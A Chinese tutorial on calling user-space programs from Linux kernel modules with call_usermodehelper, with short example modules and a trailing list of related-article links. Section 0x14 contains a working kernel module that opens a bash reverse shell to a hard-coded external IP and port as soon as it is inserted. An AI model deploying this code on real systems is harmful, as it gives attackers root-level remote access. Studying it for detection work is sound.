0x00 程序怎么被执行

无论是内核态还是用户态函数最终都会执行 do_execve()

内核态 sys_execve,在 Linux 0.11 源码中,0.11/include/linux/sys.h

extern int sys_execve();fn_ptr sys_call_table[] = { sys_setup, sys_exit, sys_fork, sys_read,sys_write, sys_open, sys_close, sys_waitpid, sys_creat, sys_link,sys_unlink, sys_execve, ...};

而sys_execve底层又调用了 do_execve,其在 0.11/kernel/system_call.s 中定义

.align 2
sys_execve:lea EIP(%esp), %eaxpushl %eaxcall do_execveaddl $4, %espret

do_execve是真正执行函数,在 0.11/fs/exec.c 中定义

/** do_execve() executes a new program.*/
int do_execve(unsigned long *eip, long tmp, char* filename,char **argv, char **envp)
{if(!(inode=namei(filename)))    /*get executables inode*/return -ENOENT;argc = count(argv);envc = count(envp);
}

0x01 内核态调用用户态函数

在内核态可以通过 call_usermodehelpere() 函数实现对用户态函数的调用,其最终也是通过内核态函数 do_execve() 实现。

0x11 调用无输出无参数命令

示例: 调用 reboot 命令

call.c

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>static int __init test_init(void)
{int ret      = -1;char path[]  = "/sbin/reboot";char *argv[] = {path, NULL};char *envp[] = {NULL};printk("call_usermodehelper module isstarting..!\n");ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);printk("ret=%d\n", ret);return 0;
}static void __exit test_exit(void)
{}module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");

Makefile

obj-m += call.oall:make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
clean:make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean

执行

insmod call.ko

通过call_usermodehelper_setup也可以调用(call_usermodehelper_setup)用户态的函数

0x12 调用无输出有参数命令

示例: 调用mkdir/rm命令

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>static int __init test_init(void)
{int ret      = -1;char path[]  = "/bin/mkdir";char *argv[] = {path, "-p", "/root/test", NULL};char *envp[] = {NULL};printk("call_usermodehelper module isstarting..!\n");ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);printk("ret=%d\n", ret);return 0;
}static void __exit test_exit(void)
{int ret      = -1;char path[]  = "/bin/rm";char *argv[] = {path, "-r", "/root/test", NULL};char *envp[] = {NULL};printk("call_usermodehelper module isstarting..!\n");ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);printk("ret=%d\n", ret);
}module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");

Makefile

obj-m += call.oall:make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
clean:make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean

执行

insmod call.ko

0x13 调用有输出有参数命令

示例: ls -la

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>static int __init test_init(void)
{int ret      = -1;char path[]  = "/bin/bash";char *argv[] = {path, "-c", "ls", "-la", ">", "/root/ls_output.txt", NULL};char *envp[] = {NULL};printk("call_usermodehelper module isstarting..!\n");ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);printk("test_init ret=%d\n", ret);return 0;
}static void __exit test_exit(void)
{int ret      = -1;char path[]  = "/bin/rm";char *argv[] = {path, "-r", "/root/ls_output.txt", NULL};char *envp[] = {NULL};printk("call_usermodehelper module isstarting..!\n");ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);printk("test_exit ret=%d\n", ret);
}module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");

0x14 反弹shell

示例: 反弹shell

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>static int __init test_init(void)
{int ret      = -1;char path[]  = "/bin/bash";char *argv[] = {path, "-c", "bash -i >& /dev/tcp/47.111.147.96/10086 0>&1", NULL};char *envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};printk("call_usermodehelper module isstarting..!\n");ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);printk("test_init ret=%d\n", ret);return 0;
}static void __exit test_exit(void)
{}module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");

虽然是在内核态调用bash进行反弹shell,但是普通EDR仍然能检测到反弹shell,因为调用的还是用户态的/bin/bash。

Linux内核态调用用户态函数相关推荐

  1. linux内核态和用户态

    参考文章: linux系统内核空间与用户空间通信的实现与分析: http://www.ibm.com/developerworks/cn/linux/l-netlink/ 进程上下文VS中断上下文: ...

  2. 通过/proc查看Linux内核态调用栈来定位问题

    文章目录 1.定位一个"运行慢"的进程 2.strace -cp 27288 3. pstack 27288 3.进程状态和WCHAN字段 4.进程有什么活动或者完全挂死了? 5. ...

  3. 【转】linux内核态和用户态的区别

    原文网址:http://www.mike.org.cn/articles/linux-kernel-mode-and-user-mode-distinction/ 内核态与用户态是操作系统的两种运行级 ...

  4. Linux 内核态与用户态通信 netlink

    参考资料: https://blog.csdn.net/zqixiao_09/article/details/77131283 https://www.cnblogs.com/lopnor/p/615 ...

  5. Linux内核态之间进程通信,内核态和用户态通信(二)--实现

    本文主要使用netlink套接字实现中断环境与用户态进程通信. 系统环境:基于linux 2.6.32.27 和 linux 3.16.36 Linux内核态和用户态进程通信方法的提出和实现 用户上下 ...

  6. linux 用户态 内核态 通信,procfs(从0开始,内核态和用户态通信charpter2)

    这篇博文将针对linux内核态与用户态通信方式中的procfs进行详细的学习. /proc主要存放内核的一些控制信息,所以这些信息大部分的逻辑位置位于内核控制的内存,在/proc下使用ls -l你会发 ...

  7. ctf中linux内核态的漏洞挖掘与利用系列1

    说明 该系列文章主要是从ctf比赛入手,针对linux内核上的漏洞分析.挖掘与利用做讲解,本篇文章主要介绍内核漏洞利用所需的前置知识以及准备工作. linux内核态与用户态的区别 以 Intel CP ...

  8. Linux 操作系统原理 — 内核态与用户态

    目录 文章目录 目录 Linux 的内核态与用户态 系统调用(System Call) Shell 用户态和内核态的切换 进程的用户空间和内核空间的内存布局 内核空间 用户空间 Linux 的内核态与 ...

  9. 【Linux 内核】Linux 内核体系架构 ( 硬件层面 | 内核空间 | 用户空间 | 内核态与用户态切换 | 系统调用 | 体系结构抽象层 )

    文章目录 一.Linux 内核体系架构 二.内核态与用户态切换 ( 系统调用层 ) 三.体系结构抽象层 一.Linux 内核体系架构 Linux 内核最初的源码不足一万行 , 当前的 Linux 内核 ...

  10. linux c程序中内核态与用户态内存存储问题

    Unix/Linux的体系架构 如上图所示,从宏观上来看,Linux操作系统的体系架构分为用户态和内核态(或者用户空间和内核).内核从本质上看是一种软件--控制计算机的硬件资源,并提供上层应用程序运行 ...

最新文章

  1. 养成好的生活和学习习惯
  2. windows7升级安装之初体验
  3. CSS Specificity--CSS特性、权重、优先级---CSS specificity规则、
  4. 补充spring事务传播性没有考虑的几种情况
  5. PHP 入门 - 9.安全
  6. VS.NET调试问题
  7. springboot 多线程_redis官方推荐:SpringBoot用这个,一键多线程
  8. winetricks启动报错:please retest in a clean 32-bit WINEPREFIX before reporting a bug解决
  9. 手机内存小可用内存卡代替吗?
  10. 阿里云轻量应用服务器如何升级?
  11. PS学习笔记------运用脚本及自动化批量处理
  12. 90后都开始养生了,你怎么能少了这本宝典丨钛空舱
  13. 【opencv小案例-对象提取】阈值分割+形态学处理+面积横纵比过滤
  14. Ecshop 表结构 字段说明
  15. linux nohup的使用及详解
  16. 公差分析中曲率半径公差与光圈的换算
  17. MTKAndroidP平台实现应用单独控制Camera某些效果参数
  18. 11 《痛苦与狂喜:米开朗基罗传》-豆瓣评分8.9
  19. 0503、while循环、循环的控制、case分支、函数、字符串的处理
  20. H5游戏(二)给某html5游戏做内挂

热门文章

  1. python网站攻击-利用Python进行Web渗透测试(十):密码攻击
  2. java BMI体重测量代码
  3. 好领导,本来应是挖渠人
  4. 五点差分法 matlab,【五点|五点差分法(matlab)解椭圆型偏微分方程】
  5. aio-pika的使用
  6. 【实战讲解】数据血缘落地实施
  7. jzoj4245. 【五校联考6day2】er (B组——Day11)
  8. 工作流-Activiti7-基础讲解
  9. C语言:access函数的用法
  10. .so文件(so文件是什么)